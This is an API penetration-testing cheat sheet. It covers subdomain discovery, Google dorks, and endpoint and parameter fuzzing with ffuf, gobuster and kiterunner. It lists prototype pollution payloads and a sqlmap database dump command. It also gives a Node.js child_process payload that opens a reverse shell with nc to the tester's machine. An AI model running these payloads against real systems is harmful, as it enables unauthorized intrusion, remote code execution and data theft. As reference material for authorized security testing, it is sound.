API Pentesting

Application Programming Interface (API) is for communicating with each computer. There are several types such as Web API, REST API, RESTful API.

API Subdomains Discovery

Reference: https://infosecwriteups.com/how-to-discover-api-subdomains-api-hacking-41ef91d00846

api.example.com

# with another subdomain
sub.api.example.com
api.sub.example.com

# Versions
v1.api.example.com
v2.api.example.com
api.v1.example.com
api.v2.example.com

Google Dorks

site:*.api.example.com
site:api.*.example.com

# Random domains
site:*.api.*.*
site:api.*.*.*
site:*.api.*.com
site:api.*.*.com
site:*.api.*.gov
site:api.*.*.gov

Automation

subfinder -d example.com | grep api

Below fuzz target web server directly so be careful when doing that.

ffuf -u https://FUZZ.api.example.com -w wordlist.txt
ffuf -u https://api.FUZZ.example.com -w wordlist.txt


Change HTTP Request Methods

# Methods
GET, POST, PUT, DELETE, OPTIONS, HEAD, PATCH, INVENTED


Change Content-Type

When trying to access or modify values in API, changing the Content-Type header may abuse the system.

Content-Type: application/json
Content-Type: application/xml
Content-Type: application/x-www-form-urlencoded
Content-Type: text/html
Content-Type: text/plain
Content-Type: text/xml


Endpoint Discovery

Try to enumerate endpoints while changing HTTP methods like GET, POST, OPTIONS, etc.

/api/?xml
/api?xml
/api/v1?xml
/api/v1/user?xml

# Web Service Description Language
/api/?wsdl

# Versions
/api/v1/user
/api/v2/user
/api/v3/user

# Wildcards
/api/v2/user/*
/api/v2/user/posts/*
/api/v2/users/*

# Path traversal
/api/v1/post/..\private

# Misc
/api/user/1
/api/users/1
/api/users/1/delete
/api/users/1/edit
/api/users/1/update

Automation

# Dirb
dirb https://vulnerable.com/ endpoints.txt

# Ffuf
ffuf -u https://vulnerable.com/FUZZ -w endpoints.txt
ffuf -u https://vulnerable.com/FUZZ -X POST -w endpoints.txt
ffuf -u https://vulnerable.com/api/FUZZ -w wordlist.txt
ffuf -u https://example.com/api/?FUZZ=test -w wordlist.txt

# Gobuster
gobuster dir -u https://vulnerable.com/ -w endpoints.txt

# Kiterunner
# -A: wordlist type (ex. first 20000 words)
# -x: max connection per host (default: 3)
kr scan https://vulnerable.com/api -A=apiroutes-210228:20000 -x 10
kr scan https://vulnerable.com/api -A=apiroutes-210228:20000 -x 10 --fail-status-codes 401,404
kr scan https://vulnerable.com:8443/api -A=apiroutes-210228:20000 -x 10

This wordlist{:target="_blank"} is useful for endpoints.


GET Parameters

/api/v1/user?id=test
/api/v1/user?name=test
/api/v1/user?uuid=test
/api/v1/status?live=test
/api/v1/status?verbose=test

Parameter Fuzzing

# Key
ffuf -u https://vulnerable.com/api/items?FUZZ=test -w wordlist.txt
ffuf -u https://vulnerable.com/api/items?FUZZ=test -w wordlist.txt -fs 120
ffuf -X POST -u https://vulnerable.com/api/items?FUZZ=test -w wordlist.txt
ffuf -X POST -u https://vulnerable.com/api/items?FUZZ=test -w wordlist.txt -fs 120

# Value
ffuf -u https://vulenrable.com/api/items?test=FUZZ -w wordlist.xt
ffuf -u https://vulnerable.com/api/items?test=FUZZ -w wordlist.txt -fs 120
ffuf -X POST -u https://vulnerable.com/api/items?test=FUZZ -w wordlist.txt
ffuf -X POST -u https://vulnerable.com/api/items?test=FUZZ -w wordlist.txt -fs 120


Sending Unexpected Data

We might be able to find anything by sending unexpected data on POST or PUT method.

{"email": "test@test.com"}
{"email": true}
{"email": 1}
{"email": -1}
{"email": ["test@test.com", true]}
{"email": {"admin": true}}

// Prototype Pollution
{"email": "test@test.com", "__proto__": {"admin": true}}
{"email": {"__proto__": {"admin": true}}}


XSS

If we can send post (or put) requests to API endpoints, we may be able to insert payloads and the result will be reflected as the output.
XSS can be used for this exploitation.


SQL Injection

sqlmap -u http://vulnerable.com/api/v2/fetch/?post=1 --dump --batch


Node.js Remote Code Execution (RCE)

If the website uses the Node (e.g. Express), we may be able to execute the JavaScript function.

# Get current working directory in the website
/api/?key=process.cwd()

Reverse Shell

We may be able to execute reverse shell using "child_process".
First off, start listener for getting a shell in local machine.

nc -lvnp 4444

Then send request to the website with the parameter which executes reverse shell using child_process.

/api/?key=require('child_process').exec('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <local-ip> 4444 >/tmp/f')

We should see that we get a shell in local terminal.


Same Session Across Multiple Versions and Instances

For example, assumed the website has two endpoints such as "/api/v1/user/login", "/api/v2/user/login".
"v1" uses "X-Token" and "v2" uses "X-Session".
After login to "v1", you may be able to get access "v2" using the session key/value of "v1".

X-Token: fc38ab5f5ae41072778d852023f9ee26
X-Session: fc38ab5f5ae41072778d852023f9ee26


XXE

GET /api/product/1?xml HTTP/1.1

If the website displays the response in XML, we might be able to XXE.